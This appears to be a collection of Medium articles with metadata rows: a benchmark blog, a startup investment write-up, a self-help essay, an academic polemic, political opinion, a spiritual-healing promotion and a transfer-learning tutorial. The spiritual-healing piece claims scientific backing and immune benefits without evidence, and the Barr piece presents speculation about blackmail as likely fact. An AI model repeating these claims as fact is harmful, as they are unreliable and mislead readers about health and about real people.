One example is thermal effects. Geekbench typically runs quickly (in minutes) and especially so in our testing where the default workload gaps are removed, whereas SPEC CPU typically runs for hours. The net effect of this is that Geekbench 5 may achieve a higher average frequency because it is able to exploit the system’s thermal mass due to its short runtime. However SPEC CPU will be governed by the long term power dissipation capability of the system due to its long run-time. This is something to watch out for when applying such correlation techniques to systems that see significant thermal throttling or power-capping while running these benchmarks.
Another scenario where the correlation can break is non-linear jumps in performance that one benchmark suite sees but not the other. The interplay between the active data foot-print of a test and the CPU caches is a classic source of such non-linearities. For example, a future CPU’s cache may be large enough that many sub-tests of one benchmark suite may fully fit in cache boosting performance many fold. However, the other benchmark suite may not see such a benefit if none of its tests fit in cache. In such cases, the correlation will not hold.
Finally, we would like to end this blog by showing (in Figure 4) the Geekbench 5 power performance chart from our earlier blog. Please note that the Geekbench 5 scores shown in this chart are the overall single-core score, which is a weighted average of the Crypt, INT and FP Geekbench 5 components. Using the equation in Figure 1 and the measured Geekbench 5 INT score for each system (not shown in chart), we can calculate the respective CPU2006 INT and CPU2017 INT single-core score. The chart is annotated with these calculated scores. Since NUVIA has not disclosed the Phoenix CPU’s Geekbench INT score, it is not possible to apply the formula directly. However, one can estimate the SPEC CPU INT score that Phoenix achieves from the scores of the other systems in the chart.
Figure 4: Geekbench 5 power-performance from our earlier blog
We wish to thank the members of the WCA team (Kun Woo Lee, Christian Teixeira, Sriram Dixit, Sushmitha Ayyanar, Sid Kothari) whose contributions made this blog possible. We also wish to thank John Bruno, Gerard Williams, Amit Kumar and Jon Carvill for their suggestions on this writeup. | https://medium.com/silicon-reimagined/performance-delivered-a-new-way-part-2-geekbench-versus-spec-4ddac45dcf03 | ['Nuvia Inc.'] | 2020-10-22 17:28:32.940000+00:00 | ['Performance', 'Cloud', 'Computers', 'Benchmark', 'Data Center'] |
Behind the Deal: LSK Technologies | Front Row Ventures is Canada’s first student-run venture capital (VC) group. Powered by Real Ventures, we aim to inject the VC mindset into the University ecosystem and back ambitious student founders who are challenging the status quo. LSK Technologies was one of our most recent investments, and I am very excited to share more information about them in this blog. LSK is bringing the power of commercial diagnostic testing (bacterial/viral infections) to the point of care (POC).
Meet the Founders
(Photo credits to Velocity Waterloo)
We first came across the founders in early April 2020 after they had pitched and won the Velocity 100K competition at the University of Waterloo. Seray Çiçek and Livia Guo were two recent graduates who obtained their master’s degrees in Pharmaceutical Science at the University of Toronto. The duo has tremendous technical synergies. Seray had previous founder experience having launched a medical device startup, Xpan. She also worked at Sanofi Pasteur. Seray specializes in hardware, business and molecular biology. Livia, on the other hand, obtained her Honors Bachelor of Science in Pharmaceutical Chemistry at the University of Toronto and specializes in software and analytical chemistry.
LSK was born through their master’s thesis while they were working at Pardee Lab under Keith Pardee, the Canadian Research Chair in Synthetic Biology, at the University of Toronto. Keith provided an additional layer of technical expertise and had a massive network that allowed LSK to test its device, assist LSK in product development, and develop supplier relationships for LSK.
Problem
Traditional diagnostic devices are housed in centralized laboratories for bulk testing. The emergence of COVID-19 has placed tremendous strain around our testing capabilities and we’ve seen governments around the world struggle to keep up with the demand for rapid testing for COVID-19 control. Some of the main problems with centralized diagnostic testing include:
Increased wait times for patients: Individual samples must be consolidated and sent to the central lab before getting tested, which takes time. Patients can expect to wait up to a week before hearing back about their results, preventing staff from being able to make rapid treatment decisions. For time-sensitive illnesses (diseases that spread i.e. COVID-19, STI’s, and other bacterial infections), this problem is magnified.
Additional costs: Transport fees, costs of lab analysis, additional staffing and cost of packaging adds to the cost of commercialized testing. It increases the cost for the end user and can cut into the revenue made by doctors and clinics. Companies such as Abbott have put out reports on their website that quotes a potential $230 USD cost saving per customer with the implementation of POC testing.
Moreover, existing POC devices are limited in their testing capabilities. Typical POC testing devices can only run one sample at a time.
Solution
(Photo credit to LSK Technologies）
LSK has developed PLUM, a diagnostic device which can test 95% of all bacterial/viral infections (including COVID-19) and 80% of immunological tests as well as conduct common lab tests for various research purposes. They are making diverse testing capabilities, high throughput sample processing (up to 47 samples per hour) and extreme portability (~2kg), affordable at the POC. This is achieved through their novel reflected light method that eliminates the need for bulky, expensive hardware, which is replaced by a much cheaper and portable image processing software. A typical commercial plate reader will cost anywhere from $30,000-$100,000, whereas a PLUM device costs only a fraction and will be one of the cheapest on the market.
Our Investment
Our investment thesis focused on a few key points: (1) PLUM is strong product with technical defensibility and a unique value proposition; (2) a very large and growing in-vitro diagnostics market along with great timing; (3) the products impressive traction; and (4) their strong team paired with a solid support network.
Product:
LSK’s unique value proposition is carved out from their ability to bring such a diverse range of testing capabilities along with the power of commercial testing at an affordable price point to the POC. One barrier for POC testing is the need to hire certified lab technicians to operate the devices. LSK also has an exciting future in that they will automate the testing process using their image processing software with spatially labelled samples and scannable barcodes for sample tracking, which will remove the need for certified lab technicians.
Market:
At FRV we want to back ambitious student founders looking to solve huge problems in massive markets and that’s exactly what LSK is doing. The in-vitro diagnostics market is expected to reach a value of $87.93 billion USD by 2023. We have strong convictions that the future of diagnostics is going to lie at the POC, and COVID-19 is only accelerating this trend. In particular, rapid turnaround times, reduced cost for the end user, and the elimination of bottlenecks are some of the things pushing for POC testing. In terms of timing, the emergence of COVID-19 created ample opportunities that will accelerate and benefit LSK’s go to market strategy. Some of these opportunities include:
With the emergency authorization of regulations making it significantly easier to get certified under Health Canada, the average turnaround time is now 40 days. Increased demand for rapid POC testing because of COVID-19. Increased awareness towards the need for rapid POC testing which causes an increase in availability of funding from both private investors and government (grants, tax credits etc.).
The opportunities created by COVID-19 will help with LSK’s go-to-market. However, the true value proposition arises when clinics, workplaces, pharmacies, and other LSK customers realize that PLUM is so much more than just a rapid diagnostic device for COVID-19 testing.
Abbott’s ID NOW Devices: In the News
On September 29, 2020, the Government of Canada announced the purchase of 7.9 million Abbott ID NOW rapid POC testing systems. Abbott’s device is used strictly for COVID-19 testing: it collects samples via nasopharyngeal swabs (you’ve probably seen how uncomfortable it is to get a sample collected this way), and it can only run one sample every 13 minutes. For COVID-19 testing to be effective, it is necessary to get continuously tested and test negative every time. Think about how uncomfortable it would be to have to do nasopharyngeal swabs a few times every week. On the other hand, PLUM has a vast range of diverse testing capabilities and is not restricted solely to COVID-19. Moreover, PLUM can analyze oral fluid or mid-nasal samples (no nasopharyngeal swabbing needed) and can run up to 47 samples per hour.
Traction:
At the time we were talking with LSK, they had a few letters of intents and discussions in place with clinics and workplaces in the Kitchener/Waterloo region. In addition, they were close to solidifying a supplier relationship with New England Biolabs, one of the world’s largest reagent manufacturers.
Team:
(Photo credits to the University of Toronto)
At FRV, we focus a lot on the team and we were very impressed with the LSK team. Not only did the co-founders have the relevant technical expertise and prior start-up experiences, but we also saw tremendous value in the support network that LSK was able to surround themselves with. While working out of Pardee Lab and working closely with Keith Pardee, they built a high-quality technical network to help with product development and build relationships in the industry. Furthermore, with investments from Velocity and Y-Combinator, LSK acquired additional support to assist with their business model, go-to-market strategy, and future rounds of fundraising.
Moving Forward
Post investment, LSK is working in Velocity’s lab space at the University of Waterloo. They’ve also built significant traction. Since we invested, LSK was able to secure 20 pre-orders and also signed 7 letters of intents. LSK has manufactured their first commercial units and is deploying them in Canada, US, Ecuador and Columbia with their early adopters. LSK’s devices will be used to detect COVID-19 in patient samples before the end of 2020.
In terms of support, LSK has raised approximately $350,000 from a mix of angels, small VC’s, and non-dilutive financing and is currently working with Pardee Lab to complete the $500,000 CAD collaborative partnership grant from the Government of Canada.
LSK is currently raising their Seed round in preparation for manufacturing PLUM at scale.
Conclusion
We believe LSK has carved out a unique value proposition through a defensible product which enables them to capture a significant portion of the large and growing in-vitro diagnostic testing market. A strong founding team with technical expertise and a diverse support system made up of Velocity, YC and FRV backing them, will only help them execute on the opportunities presented to them from the positive market timing factors we touched upon earlier. We are incredibly proud of the way LSK has grown even through this pandemic, and we are excited to continue working with the team in the future to challenge the status quo of point of care testing | https://blog.frontrow.ventures/behind-the-deal-lsk-technologies-dd47d3a2d1db | ['Jonny Hsu'] | 2020-12-11 15:53:33.208000+00:00 | ['VC', 'Tech', 'Healthcare', 'Startup', 'Funding'] |
The Small Stuff You Overreact To Is Really The Big Stuff You Haven’t Dealt With Yet | If you’re someone who sweats the small stuff in life — the traffic, the parking ticket, the snide comment, and all those other inevitable but maddening things — you are not alone.
We are told all the time to remember the big picture. We probably won’t think about the traffic and parking ticket and snide comment on our death beds, and we probably won’t even remember them once we’ve finally arrived at our destination and paid the fee and found something else to occupy our attention.
But the obvious fact that you shouldn’t let your days be overrun by an overreaction to what is objectively not really a big deal only compounds the feeling of frustration.
If you are someone who sweats the small stuff, you don’t do it because you’re petty. You don’t do it because you’re not intelligent enough to know what does or doesn’t matter. You don’t do it because you are lacking values, or perspectives, or principles.
You react the way you do because the small stuff is really the big stuff that we don’t know how to reconcile.
The traffic compounds the feeling of already being so out of control with your schedule and as though the world is both constantly demanding something from you and likewise putting obstacle after obstacle in your way. Those lost 20 minutes are not just 20 minutes, they’re a representation of feeling like you’re constantly falling behind.
And the parking ticket isn’t just a parking ticket, it’s yet another unnecessary expense to add to the list, to wane from the account because yet again you weren’t mindful about some small detail and you let yet another thing slip through the cracks and yet another unnecessary and meaningless bill must be paid. You’re not upset about the $20, you’re upset about feeling your finances slowly turn out of your control, despite your absolute best intentions.
And the snide comment isn’t just a snide comment, it’s a representation of the fact that no matter what you do or how hard you work or how far you get there will always be detractors seemingly intent on seeing you in the worst way possible, offering no grace, pointing out what you cannot fix or cannot handle or really do not want to be. The comment itself isn’t what makes for the emotional reaction, it’s the reminder that this is an unsavory reality of living in the world and an inevitable reality of putting anything of meaning or significance or interest into it.
Maybe this one inconvenience is what pushes your internal temperature one more degree upwards and now it’s finally boiling.
You probably don’t have to psychoanalyze every minor but adverse emotional experience you have in your life.
But if you’re someone who has to constantly remind themselves to not “sweat the small stuff,” it’s probably because you are constantly sweating the small stuff, and before you spend any more of your life worrying about what’s uncontrollable and ultimately unimportant, you should consider the well of emotion just beneath the micro-trigger, and the ways in which it might be trying to tell you how to take care of yourself a little better.
When we have a disproportionate reaction to something on the surface, it’s often because there’s something deeper just beneath.
These experiences in our lives often function in metaphors, or the way dreams do — it’s not about what literally happened but the emotion it provoked, and the assumption we then made about ourselves and our lives and what might happen in the future.
You might not actually be a monster lacking self-control.
You might just have some deeper feelings that you don’t understand.
But the silver lining is that our emotions don’t exist to punish or hurt us, they are directive. They are trying to show us the way back to peace.
Do you remember a time when you were younger when you feared something like your mother leaving you for preschool because you thought she’d never come back? Or you would absolutely cringe at the idea of sitting alone at the lunch table? Or the concept of not being invited to the party was palpitation-inducing?
Do you know why you don’t worry about those things anymore?
You learned she would come back. You realized that even if you did have to sit alone sometimes, it doesn’t make you a social recluse, and even if it does, you’re still going to be okay. You found enough dignity to realize that you don’t want to attend a party that you’re not wanted at anyway, and you’re better off for not having peaked too soon.
These were all small things that became big things because of a lack of understanding.
In that sense, we all still have some growing up to do.
After you calm down, and once the heat of the moment has passed, give yourself a moment to consider where that rage and fear and pain is really coming from. If it truly is just the traffic and parking ticket and snide comment, then great, because it will pass.
And if it is something deeper, that’s fine, because it will too.
If you enjoyed this piece, check out my new book on self-sabotage, or book a 1:1 mentoring session with me. | https://medium.com/age-of-awareness/read-this-if-youre-someone-who-always-sweats-the-small-stuff-but-really-doesn-t-want-to-a978c158eba4 | ['Brianna Wiest'] | 2020-12-11 13:53:55.047000+00:00 | ['Personal Development', 'Philosophy', 'Psychology', 'Self Improvement', 'Life Lessons'] |
The Narcissists are Running the Digital Ivory Tower | The Narcissists are Running the Digital Ivory Tower
When Dr. Anima Anandkumar posted her entire Twitter blocklist yesterday afternoon, it didn’t get the support she was likely expecting.
The Caltech prof and head of AI Research at NVIDIA unleashed a firestorm of tweets Sunday afternoon, railing against anyone and everyone who had participated in a tense Twitter exchange with fellow academic Dr. Pedro Domingos regarding ethics in the AI community. (Note, “participated”, in this sense, could include anything from commenting, to liking Domingos’ tweets, to daring to disagree with Anandkumar in the public domain.) Ironically, Anandkumar’s tweets were far from ethical, instead representing a kind of vicious totalitarianism that has recently enveloped the digital wing of the ivory tower. Nobody, not even PhD students and junior academics (whose names have been excluded from this article), was immune to Anandkumar’s blatant abuse of power:
One need not be a historian to recognize a new kind of academic McCarthyism emerging from Anandkumar’s tweets — one which prioritizes conformity above ideological diversity and which seeks to stamp out dissent rather than engage in intellectual debate.
Sadly, Anandkumar is but the tip of the iceberg for graduate students and non-tenured faculty. On a regular basis, we witness the worst that academia has to offer — including abuse [1–3] and stolen work [4–5] — all while trying to publish the very cutting-edge research that companies like NVIDIA so greatly prize. While the long-term mental health impacts of early-career abuse on graduate students are still unclear, a recent Nature study revealed that over 20% of respondents had experienced some form of bullying or abuse during their course of study, and over 30% experienced anxiety or depression [6–7].
These statistics, sadly, reveal little about experiences of harassment in the digital ivory tower — the Twitter echo chamber perpetuated by those like Anandkumar. Claiming victimhood status and while targeting vulnerable scientists is hardly ethical — yet those of us without tenure feel unable to publicly raise our voices against the academic elite, for fear of retribution. Hopefully, Anandkumar’s brazen abuse of power will serve as a clarion call to junior scientists — speak up, in any way you can. Academia’s paradigm shift will only happen if we fight back.
[1] https://www.nature.com/articles/d41586-018-06040-w
[2] https://madison.com/wsj/news/local/education/university/toxic-lab-lasted-for-years-uw-madison-had-little-idea/article_199b0616-a558-5da5-b214-4896154ceecc.html
[3]https://www.chronicle.com/article/abusers-and-enablers-in-faculty-culture/
[4] https://www.sciencemag.org/careers/2002/05/when-mentor-becomes-thief
[5] https://www.cnn.com/2019/03/01/health/professor-accused-of-stealing-invention-lawsuit-trnd/index.html
[6] https://www.nature.com/articles/d41586-019-03459-7
[7] https://www.insidehighered.com/news/2019/11/14/phd-student-poll-finds-mental-health-bullying-and-career-uncertainty-are-top | https://medium.com/@eternal-student/the-narcissists-are-running-the-digital-ivory-tower-5f4fcee30bbf | ['The Scholar'] | 2020-12-15 04:58:01.158000+00:00 | ['PhD', 'Abuse', 'AI', 'Academia', 'Machine Learning'] |
Why Did Trump Allow Bill Barr to Resign Rather Than Fire Him? | Politics
Why Did Trump Allow Bill Barr to Resign Rather Than Fire Him?
AG Barr knows where all the bodies are buried
Image by geralt on Pixabay
On Monday, Trump announced the resignation of his Attorney General, Bill Barr, via a tweet that included an image of Barr’s resignation letter.
In most administrations, this would be no big deal. It’s a very big deal in the Trump administration because most of the officials that have left have been fired by tweet rather than allowed to resign. Most only found out about their firing when they saw Trump’s tweet.
So what is different about Bill Barr? Why was he allowed the dignity of gracefully resigning?
He knows where all the bodies are buried.
Trump, who has no understanding of nor desire to learn about, how our government functions, has always expected Barr to act like his personal attorney with the entire Department of Justice as his personal law firm.
Trump is accustomed to confiding in his legal advisors expecting attorney-client privilege to protect those conversations. He doesn’t realize that no such privilege exists between a president and an attorney general.
Barr is very much aware of this lack of privilege and rather than advising Trump to cease his confidences because they are not protected, he has probably encouraged it. Barr now has a wealth of knowledge of Trump’s political, personal and business secrets.
Bill Barr is a very smart man. He joined the Trump administration in 2018, replacing the ill-fated Jeff Sessions, knowing full well how Trump treated the people who work for him. Barr knew that at some point he would be fired so he set about to make sure that he could leave on his own terms rather than be dishonored by a raging despot.
Barr knew which way the wind was blowing after the election. He knew that Trump had lost and any efforts that Trump made to overturn Biden’s victory would be futile, so Barr started to lay the groundwork for his own graceful exit.
Trump expected Barr to spearhead his efforts to overturn the election. Instead Barr issued a bland statement that
“to date, we have not seen fraud on a scale that could have effected a different outcome in the election.”
Note the careful wording. He did not deny that there was any fraud, just that there was not enough fraud to change the outcome of the election. This is one of those legal phrases that can be true and not true at the same time. While it is true that there were no fraudulent votes found, that doesn’t mean that none exist, just that they haven’t been found.
This is how lawyers cover their asses.
And how Barr tried to placate Trump. Claiming no fraud meant instant firing. Claiming fraud exists meant he could stay a little longer while he continued working on his exit.
The next step Barr took in distancing himself from Trump was announcing the ongoing investigation into Hunter Biden after the election. This is also normal in most administrations. The Justice Department, which is supposed to be apolitical, would normally not discuss any ongoing investigations that might influence the outcome of the election.
Of course Trump expected Barr to support his candidacy by releasing the information before the election to help him win against Biden.
At this point, Trump began to openly talk about firing Barr which probably prompted a few meetings in which Barr laid out for Trump what would happen if Trump fired him by tweet instead of allowing him to resign.
All of those secrets that Trump has confided in Barr would be released publicly, not just shaming him but also providing evidence that could be used against him in criminal cases after he steps down as president.
Shame has no meaning for Trump. He is shameless. But he lives in fear of being perceived as a loser which is probably what Barr told him would happen if he were to spill Trump’s secrets.
So they arrived at an agreement. Barr would write a fawning resignation letter and Trump would not fire him via tweet. The fawning resignation letter would provide Trump cover for allowing Barr to resign. With this “proof” in hand of Barr’s support for his presidency, Trump could allow the resignation to go forward without losing face.
Everybody wins.
No matter how you feel about Barr as a person, you have to admire him. He played the long game against a wily and unpredictable opponent and won. | https://medium.com/politically-speaking/why-did-trump-allow-bill-barr-to-resign-rather-than-fire-him-a3deb71deaf7 | ['Caren White'] | 2020-12-22 14:42:14.944000+00:00 | ['Election 2020', 'Trump', 'Politics', 'Barr', 'Government'] |
The power behind Master Sha’s spiritual healing | Master Sha | Master Sha combines Western and Chinese medicine, Taoism, Buddhism, and Chinese calligraphy into a unique form of spiritual healing. Here’s why it works.
All healers know that much scepticism greets their claims of spiritual healing. But spiritual healing deals with the transfer of energy, a concept that quantum physics very much supports.
I’ve been a healer for most of my life. In early childhood, I became aware of family members suffering from ailments and I felt a strong need to learn how to heal. I began studying under Masters of ancient Eastern arts, including Tai Chi, qigong, I Ching, feng shui, and Chinese Calligraphy. By combining these with my training in Chinese and Western medicine, I am able to strike that balance between reason and spirituality that heals the soul, mind, and body.
How can we define spiritual healing?
Spiritual healing is about energy flowing from the healer to the recipient. This energy transfer promotes the healing deep within us that is needed for the soul, mind, and body to flourish.
This is achieved through various forms of meditative practice. A healer could lead mindful meditation, for example. Or energy flow can be transferred through Reiki or yoga. There are many different forms of spiritual healing, none of which demand a religious adherence.
This is the big difference between faith healing and spiritual healing. Faith healing demands a belief in a specific entity, while spiritual healing derives from an energy transfer deep within us.
Healers are linked to the Source and transfer energy to recipients
Our word “spiritual” comes from the Latin word “spiritus.” This means “breath of life,”’ which encompasses the energy flow through our breath and a meditative mindset that encourages spiritual healing.
As with all healers, I link the Divine source to those looking for healing. Here’s why it works for so many people.
1. The combination of West and East
One of the biggest differences between my spiritual healing practice and that of other healers is that I combine various different forms, along with what I’ve learned from Western and Chinese medicine. This is a unique combination of healing methods, building on my years of study under one of my mentors, Dr Zhi Chen Guo.
Through his creation of Body Space Medicine, I absorbed the truth and power of spiritual healing. I also learned to understand how it can be used to have a practical impact on people’s real lives.
2. Energy healing is in line with ancient knowledge and current science
The idea that we are all surrounded by energy fields that contain matter and information is not new. And it’s supported by both quantum physics and ancient systems such as Shen Qi Jing. Energy is in all things and transfers between all things.
In real life terms, we understand that positive energy is linked with peace of mind, self-love, and compassion. Negative energy causes an unbalanced emotional state and sense of disconnection from the universe. Therefore, reducing negative energy and increasing positive energy logically heals at a deep level and leads to a happier mindset.
3. Tao — the ultimate Oneness
In 2013 I created a new way to practice spiritual healing. By combining Chinese Calligraphy with Tao meditation, I create what I call a Tao Calligraphy Healing Field. This becomes a space of Oneness, of Tao. Within this space, I can transfer energy to others and spiritually heal their inner soul. This boosts the immune system, decreases stress levels, and frees people to live a healthy, wealthy life.
Breaking through skepticism to find the path to healing
There is no single, defined path for spiritual healing. Not all healers will transfer energy in the same way. However, the National Federation of Spiritual Healers defines it as the transfer of healing energy from the healer to the recipient in a way that restores balance to the soul, mind, and body.
Skepticism will always be around, but by understanding the link between current scientific knowledge regarding energy and the ancient understanding of the same, there is a clear agreement between the two. Spiritual healers work to create this balance between reason and spirituality that will ultimately help more people to discover the power of spiritual healing. | https://medium.com/@mastersha/the-power-behind-master-shas-spiritual-healing-master-sha-606a446da621 | ['Master Zhi Gang Sha'] | 2020-12-14 10:48:05.994000+00:00 | ['Master Sha', 'Caligraphy', 'Buddhism', 'Chinese Medicine', 'Spirituality'] |
Transfer Learning-Rock Paper Scissors Classifier | Using existing models for image classification
Transfer Learning-Rock Paper Scissors Classifier
Photo by Marcus Wallis on Unsplash
Growing up building things using Lego has always been fun, so is building machine learning algorithm from scratch. Usually, machine learning algorithms are sufficient for various applications but when it comes to huge data size and classifying images we need more powerful machine learning algorithms hence deep learning comes into picture. Building an algorithm is always beneficial but time consuming so why not use existing algorithms and model for similar type of data. The process of using the stored knowledge which is gained while solving one problem and applying it to a different but similar problem is called Transfer Learning. Let’s get a better picture of how we can use some really powerful convolutional neural network on our own data set.
Import dependencies
As usual before starting any machine learning problem we need to import the dependencies and the libraries — just laying the foundation to build our entire model on.
Import data
The data we will be using are computer generated images of hands showing the different pose for rock paper scissors. The “rock paper scissors” dataset is available directly from the Tensorflow package. In the cells that follow, we’ll get the data, plot a few examples, and also do some pre-processing.
To know how our data set looks like using the following cell.
Pre-process dataset
Even though the images for our analysis are cropped but we still need to scale the images and pre-process it before they can be used as suitable input for our models. As the existing models have few constraints about the size of the input image we need to reshape our data set. For that, we will use the following code block.
We’ll convert to numpy format again:
Upload custom test sample
Now we can use custom input for classification using the following cell.
Classify with MobileNetV2
Keras Applications are pre-trained models with saved weights, that we can download and use without any additional training.
Here’s a table of the models available as Keras Applications. In this table, the top-1 and top-5 accuracy refer to the model’s performance on the ImageNet validation dataset, and depth is the depth of the network including activation layers, batch normalization layers, etc.
(A variety of other models is available from other sources — for example, the Tensorflow Hub.)
For our analysis, I used MobileNetV2, which is designed specifically to be small and fast (so it can run on mobile devices!). MobileNets come in various sizes controlled by a multiplier for the depth (number of features), and trained for various sizes of input images. We will use the 224x224 input image size.
Let’s see what the top 5 predicted classes are for my test image are:
MobileNetV2 is trained on a specific task: classifying the images in the ImageNet dataset by selecting the most appropriate of 1000 class labels. It is not trained for our specific task: classifying an image of a hand as rock, paper, or scissors. As a result, we get an abrupt classification which is nowhere close to our desired result. So we need to fine tune our base model to get predictions in our desired range.
Background: fine-tuning a model
When we talk about convolutional neural network we take into considerations of a lot of layers between to input and the output and a typical convolutional neural network looks something like this:
Photo generated using PlotNeuralNet
We have a sequence of convolutional layers followed by pooling layers. These layers are feature extractors that “learn” key features of our input images.
Then, we have one or more fully connected layers followed by a fully connected layer with a softmax activation function. This part of the network is for classification.
The key idea behind transfer learning is that the feature extractor part of the network can be re-used across different tasks and different domains.
This is especially useful when we don’t have a lot of task-specific data. We can get a pre-trained feature extractor trained on a lot of data from another task, then train the classifier on task-specific data.
The general process is:
Get a pre-trained model, without the classification layer.
Freeze the base model.
Add a classification layer.
Train the model (only the weights in your classification layer will be updated).
(Optional) Un-freeze some of the last layers in our base model.
(Optional) Train the model again, with a smaller learning rate.
Train our own classification head
This time, we will get the MobileNetV2 model without the fully connected layer at the top of the network.
Then, we will freeze the model. We’re not going to train the MobileNetV2 part of the model, we’re just going to use it to extract features from the images.
We’ll make a new model out of the “headless” already-fitted MobileNetV2, with a brand-new, totally untrained classification head on top:
We’ll compile the model and use data augmentation as well:
Now we can start training our model. Remember, we are only updating the weights in the classification head.
To visualize the performance of our model use the following code:
Fine-tune model
We have fitted our own classification head, but there’s one more step we can attempt to customize the model for our particular application.
We are going to “un-freeze” the later parts of the model, and train it for a few more epochs on our data, so that it is better suited for our specific classification task.
Note that we are not creating a new model. We’re just going to continue training the model we already started training.
Classify custom test sample
Conclusion
In practice, for most machine learning problems, we wouldn’t design or train a convolutional neural network from scratch — we would use an existing model that suits our needs (does well on ImageNet, size is right) and fine-tune it on our own data.
(In the most extreme cases, we may attempt few-shot, one-shot, or zero-shot learning.)
Transfer learning isn’t only for image classification.
There are many problems that can be solved by taking a VERY LARGE task-generic “feature detection” model trained on a LOT of data, and fine-tuning it on a small custom dataset.
Application of transfer learning is endless and it has seen an upsurge in its application since the advent of powerful GPU’s and computational hardware. | https://towardsdatascience.com/transfer-learning-rock-paper-scissors-classifier-45a148224da9 | ['Farhan Rahman'] | 2020-10-11 19:13:15.264000+00:00 | ['Convolutional Network', 'Image Classification', 'Transfer Learning', 'Deep Learning', 'Data Science'] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.